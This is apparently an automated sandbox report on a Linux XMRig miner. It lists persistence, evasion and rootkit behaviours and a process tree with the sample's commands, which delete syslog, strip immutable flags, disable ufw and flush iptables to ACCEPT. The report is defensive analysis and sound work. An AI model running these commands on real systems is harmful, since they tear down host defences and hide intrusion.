xmrig_linux | 1e39f5f7d640646d7b219aedb10f8db7e89279597c59f3a8944fcee1b9827dda

Analysis

max time kernel
149s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240226-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240226-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
31-03-2024 19:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
Size

41KB
MD5

5c75e6f27cc568187e4b7a6371c61181
SHA1

b485da0e29adf4b1c34e9b833f0aba7e7b40655d
SHA256

1e39f5f7d640646d7b219aedb10f8db7e89279597c59f3a8944fcee1b9827dda
SHA512

bbd352c6fc2f2e0dd1db3c81eff5499ed45f1c70bb37a536aac39cebc4b89964c8fd584272c5fb0690bd26cde961a55602b3dabef7adc9cb11d01bbfbad94282
SSDEEP

768:o7+FNcuFVc2zV0xvfK4urZuishkZBxWJY:bF+Ec20/url/xWJY

Score

10^/10

xmrig_linux evasion miner persistence rootkit

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

Adds new SSH keys 1 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence

Processes:

5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

description	ioc	Process
File opened for modification	/root/.ssh/authorized_keys	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

Changes its process name 4 IoCs

Processes:

description	ioc	pid
Changes the process name, possibly in an attempt to hide itself	(sysv-install)	1832
Changes the process name, possibly in an attempt to hide itself	gmain	2001
Changes the process name, possibly in an attempt to hide itself	gdbus	2002
Changes the process name, possibly in an attempt to hide itself	(sysv-install)	4511

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

evasion

Indicator Removal

T1070

Processes:

description	ioc	Process
File deleted	/var/log/syslog	rm

Flushes firewall rules 4 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

Processes:

ufwiptablesupdate-rc.d

pid	Process
1585	ufw
1760	iptables
1856	update-rc.d
4536

Loads a kernel module 1 IoCs

Loads a Linux kernel module, potentially to achieve persistence

rootkit

Processes:

modprobe

ioc	pid	Process
/lib/modules/4.15.0-213-generic/kernel/net/ipv6/netfilter/ip6_tables.ko	1589	modprobe

Writes DNS configuration 1 TTPs 1 IoCs

Writes data to DNS resolver config file.

Dynamic Resolution

T1568

Processes:

5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

description	ioc	Process
File opened for modification	/etc/resolv.conf	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

Processes:

ip6tablesip6tablesiptablessystemctlip6tablesip6tableschattrxargsiptablesip6tablesiptablesiptablesip6tablesip6tablesip6tables

pid	Process
1688	ip6tables
3357
3579
4066
4411
4431
1734	ip6tables
3718
1608	iptables
1811	systemctl
3599
3743
3773
3998
4012
4016
1686	ip6tables
1721	ip6tables
3187
3936
4090
4471
1762	chattr
2035	xargs
3249
3372
3649
3820
3838
4068
4467
3267
3296
3432
3472
3891
3946
4008
4617
1665	iptables
1723	ip6tables
3225
3231
3437
4179
5389
3791
3982
4006
4052
4399
3487
4054
1621	iptables
1636	iptables
1685	ip6tables
1689	ip6tables
3316
3931
4082
4086
4395
4423
1702	ip6tables

Creates/modifies Cron job 1 TTPs 5 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

persistence

Scheduled Task/Job

T1053

Processes:

5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

description	ioc	Process
File opened for modification	/var/spool/cron/1	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
File opened for modification	/etc/cron.d/.zsh	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
File opened for modification	/etc/crontab	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
File opened for modification	/etc/cron.daily/logrotate	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
File opened for modification	/etc/cron.hourly/0anacron	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

Deletes log files 1 TTPs 1 IoCs

Deletes log files on the system.

Indicator Removal

T1070

Processes:

apt-get

description	ioc	Process
File deleted	/var/log/apt/eipp.log.xz	apt-get

Disables AppArmor 64 IoCs

Disables AppArmor security module.

Processes:

systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctl

pid	Process
1835	systemctl
4357
4374
4364
4487
4537
1787	systemctl
1903	systemctl
1926	systemctl
1898	systemctl
4578
1921	systemctl
4350
4358
4384
4514
4602
1787	systemctl
1934	systemctl
4361
4590
1901	systemctl
4362
4385
4499
4505
4506
4537
4537
1787	systemctl
1835	systemctl
1918	systemctl
4383
4496
4497
4578
1931	systemctl
4343
4349
4351
4585
4600
1787	systemctl
1835	systemctl
4356
4495
4578
1930	systemctl
4336
4369
4587
1915	systemctl
4601
1928	systemctl
4274
4364
4364
4494
1787	systemctl
1835	systemctl
4341
4498
4597
4359

Disables SELinux 5 IoCs

Disables SELinux security module.

Processes:

setenforce

pid	Process
3475
3587
3899
3919
1786	setenforce

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 1 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

Processes:

5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

description	ioc	Process
File opened for modification	/etc/rc.d/rc.local	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

Reads CPU attributes 1 TTPs 64 IoCs

System Information Discovery

T1082

Processes:

pspspspspspspspspspspspspspspspspspspspspspspspspspsps

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps

Write file to user bin folder 1 TTPs 10 IoCs

Hijack Execution Flow

T1574

Processes:

dpkg5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

description	ioc	Process
File opened for modification	/usr/sbin/unhide-linux.dpkg-new	dpkg
File opened for modification	/usr/sbin/unhide_rb.dpkg-new	dpkg
File opened for modification	/usr/bin/ip6network	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
File opened for modification	/usr/bin/irqbalanced	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
File opened for modification	/usr/bin/pamdicks	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
File opened for modification	/usr/sbin/unhide-tcp.dpkg-new	dpkg
File opened for modification	/usr/sbin/unhide-posix.dpkg-new	dpkg
File opened for modification	/usr/bin/kswaped	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
File opened for modification	/usr/bin/rctlcli	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
File opened for modification	/usr/bin/systemd-network	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

Writes file to system bin folder 1 TTPs 6 IoCs

Hijack Execution Flow

T1574

Processes:

5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

description	ioc	Process
File opened for modification	/bin/ps
File opened for modification	/bin/top	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
File opened for modification	/bin/top
File opened for modification	/bin/pstree	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
File opened for modification	/bin/pstree
File opened for modification	/bin/ps	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

Processes:

modprobe

description	ioc	Process
File opened for reading	/sys/module/x_tables/initstate	modprobe
File opened for reading	/sys/module/ip6_tables/initstate	modprobe

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

Processes:

pspspspspspspspspspspspspspspspsunhidepspspspspspspsps

description	ioc	Process
File opened for reading	/proc/459/status	ps
File opened for reading	/proc/654/task/654/status	ps
File opened for reading	/proc/2035/task/2035/status
File opened for reading	/proc/17/stat
File opened for reading	/proc/1390/stat	ps
File opened for reading	/proc/115/cmdline
File opened for reading	/proc/29/status
File opened for reading	/proc/79/stat	ps
File opened for reading	/proc/1335/stat	ps
File opened for reading	/proc/474/status	ps
File opened for reading	/proc/1390/task/1399/stat	ps
File opened for reading	/proc/84/status
File opened for reading	/proc/183/stat
File opened for reading	/proc/177/cmdline
File opened for reading	/proc/672/task/681/stat	ps
File opened for reading	/proc/1090/task/1091/stat	ps
File opened for reading	/proc/1109/task/1110/status	ps
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/452/task/455/stat
File opened for reading	/proc/3649/cmdline
File opened for reading	/proc/1449/stat	ps
File opened for reading	/proc/83/task/83/status
File opened for reading	/proc/528/status
File opened for reading	/proc/2/task	ps
File opened for reading	/proc/6/stat
File opened for reading	/proc/1200/stat
File opened for reading	/proc/1074/stat
File opened for reading	/proc/26/cmdline
File opened for reading	/proc/17/cmdline
File opened for reading	/proc/1186/task/1186/stat	ps
File opened for reading	/proc/185/cmdline
File opened for reading	/proc/190/stat
File opened for reading	/proc/2033/stat
File opened for reading	/proc/528/task/531/status
File opened for reading	/proc/1156/stat
File opened for reading	/proc/1345/task/1352/stat
File opened for reading	/proc/30/cmdline
File opened for reading	/proc/27/stat	ps
File opened for reading	/proc/177/status	ps
File opened for reading	/proc/1088/task/1101/status
File opened for reading	/proc/1167/status
File opened for reading	/proc/20/status
File opened for reading	/proc/682/status
File opened for reading	/proc/439/stat
File opened for reading	/proc/1205/status	ps
File opened for reading	/proc/1269/status	ps
File opened for reading	/proc/1152/task/1153/status	ps
File opened for reading	/proc/26758	unhide
File opened for reading	/proc/1597/stat
File opened for reading	/proc/1575/status	ps
File opened for reading	/proc/658/task/658/stat	ps
File opened for reading	/proc/22/status
File opened for reading	/proc/25/stat
File opened for reading	/proc/608/cmdline
File opened for reading	/proc/1369/status	ps
File opened for reading	/proc/175/status	ps
File opened for reading	/proc/722/stat	ps
File opened for reading	/proc/189/status	ps
File opened for reading	/proc/726/status
File opened for reading	/proc/1305/cmdline
File opened for reading	/proc/98/task/98/stat	ps
File opened for reading	/proc/31/task	ps
File opened for reading	/proc/1127/status
File opened for reading	/proc/34/cmdline

Writes file to tmp directory 64 IoCs

Malware often drops required files in the /tmp directory.

Processes:

apt-checkapt-getapt-getapt-extracttemplates5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118

description	ioc	Process
File opened for modification	/tmp/fileutl.message.NNBGuf	apt-check
File opened for modification	/tmp/fileutl.message.V61wDu	apt-get
File opened for modification	/tmp/fileutl.message.voEnzS	apt-check
File opened for modification	/tmp/fileutl.message.hALF5H	apt-get
File opened for modification	/tmp/fileutl.message.p31vGh	apt-get
File opened for modification	/tmp/fileutl.message.NAgIWP	apt-check
File opened for modification	/tmp/fileutl.message.frmN7d	apt-check
File opened for modification	/tmp/fileutl.message.86MXWm	apt-get
File opened for modification	/tmp/fileutl.message.dx6nI2	apt-get
File opened for modification	/tmp/fileutl.message.NcX392	apt-extracttemplates
File opened for modification	/tmp/fileutl.message.rY5wQe	apt-check
File opened for modification	/tmp/fileutl.message.5hyoN4	apt-check
File opened for modification	/tmp/fileutl.message.hqFyLE	apt-check
File opened for modification	/tmp/svcguard	5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
File opened for modification	/tmp/fileutl.message.thXlkB	apt-check
File opened for modification	/tmp/fileutl.message.Jh1g5V	apt-check
File opened for modification	/tmp/fileutl.message.8uRsSj	apt-get
File opened for modification	/tmp/fileutl.message.vC9VPZ	apt-extracttemplates
File opened for modification	/tmp/fileutl.message.r94yPz	apt-extracttemplates
File opened for modification	/tmp/fileutl.message.LxRAtH	apt-get
File opened for modification	/tmp/fileutl.message.Zs3crC	apt-check
File opened for modification	/tmp/fileutl.message.154jT9	apt-extracttemplates
File opened for modification	/tmp/fileutl.message.vB0IIX	apt-check
File opened for modification	/tmp/fileutl.message.q7Lnb3	apt-get
File opened for modification	/tmp/fileutl.message.tBMnWO	apt-get
File opened for modification	/tmp/fileutl.message.BBn8NB	apt-check
File opened for modification	/tmp/fileutl.message.cuE46V	apt-get
File opened for modification	/tmp/fileutl.message.kxF1oI	apt-get
File opened for modification	/tmp/fileutl.message.h9J08j	apt-check
File opened for modification	/tmp/fileutl.message.HOhxWg	apt-check
File opened for modification	/tmp/fileutl.message.FgHB5G	apt-get
File opened for modification	/tmp/fileutl.message.3DCQuw	apt-extracttemplates
File opened for modification	/tmp/fileutl.message.uC62eY	apt-get
File opened for modification	/tmp/fileutl.message.pwuLAG	apt-extracttemplates
File opened for modification	/tmp/fileutl.message.afTKVi	apt-get
File opened for modification	/tmp/fileutl.message.Yyxsnr	apt-get
File opened for modification	/tmp/fileutl.message.dViEKD	apt-check
File opened for modification	/tmp/fileutl.message.XSZtP1	apt-check
File opened for modification	/tmp/fileutl.message.WjXY3g	apt-get
File opened for modification	/tmp/fileutl.message.9Fhotj	apt-extracttemplates
File opened for modification	/tmp/fileutl.message.fRTbkX	apt-check
File opened for modification	/tmp/fileutl.message.vUacri	apt-get
File opened for modification	/tmp/fileutl.message.7i4Hsp	apt-check
File opened for modification	/tmp/fileutl.message.fGgbMj	apt-check
File opened for modification	/tmp/fileutl.message.JVVAO2	apt-get
File opened for modification	/tmp/fileutl.message.R5EG3q	apt-check
File opened for modification	/tmp/fileutl.message.7mTsiD	apt-check
File opened for modification	/tmp/fileutl.message.9EPJt8	apt-check
File opened for modification	/tmp/fileutl.message.76Yvid	apt-extracttemplates
File opened for modification	/tmp/fileutl.message.FciHSD	apt-check
File opened for modification	/tmp/fileutl.message.nuCGxW	apt-extracttemplates
File opened for modification	/tmp/fileutl.message.F2Fqgq	apt-get
File opened for modification	/tmp/fileutl.message.GEWlgu	apt-get
File opened for modification	/tmp/fileutl.message.JyFThT	apt-extracttemplates
File opened for modification	/tmp/fileutl.message.LOxccD	apt-extracttemplates
File opened for modification	/tmp/fileutl.message.B46hqe	apt-check
File opened for modification	/tmp/fileutl.message.H769MZ	apt-check
File opened for modification	/tmp/fileutl.message.llKxyh	apt-check
File opened for modification	/tmp/fileutl.message.ftYVa2	apt-check
File opened for modification	/tmp/fileutl.message.BfxnWe	apt-check
File opened for modification	/tmp/fileutl.message.n3Wtdi	apt-check
File opened for modification	/tmp/fileutl.message.Fjq5nl	apt-get
File opened for modification	/tmp/fileutl.message.M1faNg	apt-get
File opened for modification	/tmp/fileutl.message.PNgHzG	apt-check

/tmp/5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
/tmp/5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
1⤵
- Adds new SSH keys
- Writes DNS configuration
- Creates/modifies Cron job
- Modifies rc script
- Write file to user bin folder
- Writes file to system bin folder
- Writes file to tmp directory
PID:1579
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  - Deletes system logs
  PID:1580
- /bin/chmod
  chmod 777 /usr/bin/chattr
  2⤵
  PID:1581
- /bin/chmod
  chmod 777 /bin/chattr
  2⤵
  PID:1582
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  PID:1583
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:1584
- /usr/sbin/ufw
  ufw disable
  2⤵
  - Flushes firewall rules
  PID:1585
- - /sbin/iptables
    /sbin/iptables -V
    3⤵
    PID:1586
- - /lib/ufw/ufw-init
    /lib/ufw/ufw-init force-stop
    3⤵
    PID:1587
  - - /sbin/ip6tables
      ip6tables -L INPUT -n
      4⤵
      PID:1588
    - - /sbin/modprobe
        
        /sbin/modprobe ip6_tables
        5⤵
        Loads a kernel module
        Enumerates kernel/hardware configuration
        
        PID:1589
  - - /sbin/iptables
      iptables -F ufw-logging-deny
      4⤵
      PID:1593
  - - /sbin/iptables
      iptables -F ufw-logging-allow
      4⤵
      PID:1596
  - - /sbin/iptables
      iptables -F ufw-not-local
      4⤵
      PID:1598
  - - /sbin/iptables
      iptables -F ufw-user-logging-input
      4⤵
      PID:1601
  - - /sbin/iptables
      iptables -F ufw-user-limit-accept
      4⤵
      PID:1602
  - - /sbin/iptables
      iptables -F ufw-user-limit
      4⤵
      PID:1603
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-input
      4⤵
      PID:1604
  - - /sbin/iptables
      iptables -F ufw-reject-input
      4⤵
      PID:1605
  - - /sbin/iptables
      iptables -F ufw-after-logging-input
      4⤵
      PID:1606
  - - /sbin/iptables
      iptables -F ufw-after-input
      4⤵
      PID:1607
  - - /sbin/iptables
      iptables -F ufw-user-input
      4⤵
      Attempts to change immutable files
      PID:1608
  - - /sbin/iptables
      iptables -F ufw-before-input
      4⤵
      PID:1609
  - - /sbin/iptables
      iptables -F ufw-before-logging-input
      4⤵
      PID:1610
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-forward
      4⤵
      PID:1611
  - - /sbin/iptables
      iptables -F ufw-reject-forward
      4⤵
      PID:1612
  - - /sbin/iptables
      iptables -F ufw-after-logging-forward
      4⤵
      PID:1613
  - - /sbin/iptables
      iptables -F ufw-after-forward
      4⤵
      PID:1614
  - - /sbin/iptables
      iptables -F ufw-user-logging-forward
      4⤵
      PID:1615
  - - /sbin/iptables
      iptables -F ufw-user-forward
      4⤵
      PID:1616
  - - /sbin/iptables
      iptables -F ufw-before-forward
      4⤵
      PID:1617
  - - /sbin/iptables
      iptables -F ufw-before-logging-forward
      4⤵
      PID:1618
  - - /sbin/iptables
      iptables -F ufw-track-forward
      4⤵
      PID:1619
  - - /sbin/iptables
      iptables -F ufw-track-output
      4⤵
      PID:1620
  - - /sbin/iptables
      iptables -F ufw-track-input
      4⤵
      Attempts to change immutable files
      PID:1621
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-output
      4⤵
      PID:1622
  - - /sbin/iptables
      iptables -F ufw-reject-output
      4⤵
      PID:1623
  - - /sbin/iptables
      iptables -F ufw-after-logging-output
      4⤵
      PID:1624
  - - /sbin/iptables
      iptables -F ufw-after-output
      4⤵
      PID:1625
  - - /sbin/iptables
      iptables -F ufw-user-logging-output
      4⤵
      PID:1626
  - - /sbin/iptables
      iptables -F ufw-user-output
      4⤵
      PID:1627
  - - /sbin/iptables
      iptables -F ufw-before-output
      4⤵
      PID:1628
  - - /sbin/iptables
      iptables -F ufw-before-logging-output
      4⤵
      PID:1629
  - - /sbin/iptables
      iptables -Z ufw-logging-deny
      4⤵
      PID:1630
  - - /sbin/iptables
      iptables -Z ufw-logging-allow
      4⤵
      PID:1631
  - - /sbin/iptables
      iptables -Z ufw-not-local
      4⤵
      PID:1632
  - - /sbin/iptables
      iptables -Z ufw-user-logging-input
      4⤵
      PID:1633
  - - /sbin/iptables
      iptables -Z ufw-user-limit-accept
      4⤵
      PID:1634
  - - /sbin/iptables
      iptables -Z ufw-user-limit
      4⤵
      PID:1635
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1636
  - - /sbin/iptables
      iptables -Z ufw-reject-input
      4⤵
      PID:1637
  - - /sbin/iptables
      iptables -Z ufw-after-logging-input
      4⤵
      PID:1638
  - - /sbin/iptables
      iptables -Z ufw-after-input
      4⤵
      PID:1639
  - - /sbin/iptables
      iptables -Z ufw-user-input
      4⤵
      PID:1640
  - - /sbin/iptables
      iptables -Z ufw-before-input
      4⤵
      PID:1641
  - - /sbin/iptables
      iptables -Z ufw-before-logging-input
      4⤵
      PID:1642
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-forward
      4⤵
      PID:1643
  - - /sbin/iptables
      iptables -Z ufw-reject-forward
      4⤵
      PID:1644
  - - /sbin/iptables
      iptables -Z ufw-after-logging-forward
      4⤵
      PID:1645
  - - /sbin/iptables
      iptables -Z ufw-after-forward
      4⤵
      PID:1646
  - - /sbin/iptables
      iptables -Z ufw-user-logging-forward
      4⤵
      PID:1647
  - - /sbin/iptables
      iptables -Z ufw-user-forward
      4⤵
      PID:1648
  - - /sbin/iptables
      iptables -Z ufw-before-forward
      4⤵
      PID:1649
  - - /sbin/iptables
      iptables -Z ufw-before-logging-forward
      4⤵
      PID:1650
  - - /sbin/iptables
      iptables -Z ufw-track-forward
      4⤵
      PID:1651
  - - /sbin/iptables
      iptables -Z ufw-track-output
      4⤵
      PID:1652
  - - /sbin/iptables
      iptables -Z ufw-track-input
      4⤵
      PID:1653
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-output
      4⤵
      PID:1654
  - - /sbin/iptables
      iptables -Z ufw-reject-output
      4⤵
      PID:1655
  - - /sbin/iptables
      iptables -Z ufw-after-logging-output
      4⤵
      PID:1656
  - - /sbin/iptables
      iptables -Z ufw-after-output
      4⤵
      PID:1657
  - - /sbin/iptables
      iptables -Z ufw-user-logging-output
      4⤵
      PID:1658
  - - /sbin/iptables
      iptables -Z ufw-user-output
      4⤵
      PID:1659
  - - /sbin/iptables
      iptables -Z ufw-before-output
      4⤵
      PID:1660
  - - /sbin/iptables
      iptables -Z ufw-before-logging-output
      4⤵
      PID:1661
  - - /sbin/iptables
      iptables -X ufw-logging-deny
      4⤵
      PID:1662
  - - /sbin/iptables
      iptables -X ufw-logging-allow
      4⤵
      PID:1663
  - - /sbin/iptables
      iptables -X ufw-not-local
      4⤵
      PID:1664
  - - /sbin/iptables
      iptables -X ufw-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1665
  - - /sbin/iptables
      iptables -X ufw-user-logging-output
      4⤵
      PID:1666
  - - /sbin/iptables
      iptables -X ufw-user-logging-forward
      4⤵
      PID:1667
  - - /sbin/iptables
      iptables -X ufw-user-limit-accept
      4⤵
      PID:1668
  - - /sbin/iptables
      iptables -X ufw-user-limit
      4⤵
      PID:1669
  - - /sbin/iptables
      iptables -X ufw-user-input
      4⤵
      PID:1670
  - - /sbin/iptables
      iptables -X ufw-user-forward
      4⤵
      PID:1671
  - - /sbin/iptables
      iptables -X ufw-user-output
      4⤵
      PID:1672
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-input
      4⤵
      PID:1673
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-output
      4⤵
      PID:1674
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-forward
      4⤵
      PID:1675
  - - /sbin/iptables
      iptables -P INPUT ACCEPT
      4⤵
      PID:1676
  - - /sbin/iptables
      iptables -P OUTPUT ACCEPT
      4⤵
      PID:1677
  - - /sbin/iptables
      iptables -P FORWARD ACCEPT
      4⤵
      PID:1678
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-deny
      4⤵
      PID:1679
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-allow
      4⤵
      PID:1680
  - - /sbin/ip6tables
      ip6tables -F ufw6-not-local
      4⤵
      PID:1681
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-input
      4⤵
      PID:1682
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit-accept
      4⤵
      PID:1683
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit
      4⤵
      PID:1684
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1685
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-input
      4⤵
      Attempts to change immutable files
      PID:1686
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-input
      4⤵
      PID:1687
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-input
      4⤵
      Attempts to change immutable files
      PID:1688
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-input
      4⤵
      Attempts to change immutable files
      PID:1689
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-input
      4⤵
      PID:1690
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-input
      4⤵
      PID:1691
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-forward
      4⤵
      PID:1692
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-forward
      4⤵
      PID:1693
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-forward
      4⤵
      PID:1694
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-forward
      4⤵
      PID:1695
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-forward
      4⤵
      PID:1696
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-forward
      4⤵
      PID:1697
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-forward
      4⤵
      PID:1698
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-forward
      4⤵
      PID:1699
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-forward
      4⤵
      PID:1700
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-output
      4⤵
      PID:1701
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-input
      4⤵
      Attempts to change immutable files
      PID:1702
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-output
      4⤵
      PID:1703
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-output
      4⤵
      PID:1704
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-output
      4⤵
      PID:1705
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-output
      4⤵
      PID:1706
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-output
      4⤵
      PID:1707
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-output
      4⤵
      PID:1708
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-output
      4⤵
      PID:1709
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-output
      4⤵
      PID:1710
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-deny
      4⤵
      PID:1711
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-allow
      4⤵
      PID:1712
  - - /sbin/ip6tables
      ip6tables -Z ufw6-not-local
      4⤵
      PID:1713
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-input
      4⤵
      PID:1714
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit-accept
      4⤵
      PID:1715
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit
      4⤵
      PID:1716
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-input
      4⤵
      PID:1717
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-input
      4⤵
      PID:1718
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-input
      4⤵
      PID:1719
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-input
      4⤵
      PID:1720
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-input
      4⤵
      Attempts to change immutable files
      PID:1721
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-input
      4⤵
      PID:1722
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-input
      4⤵
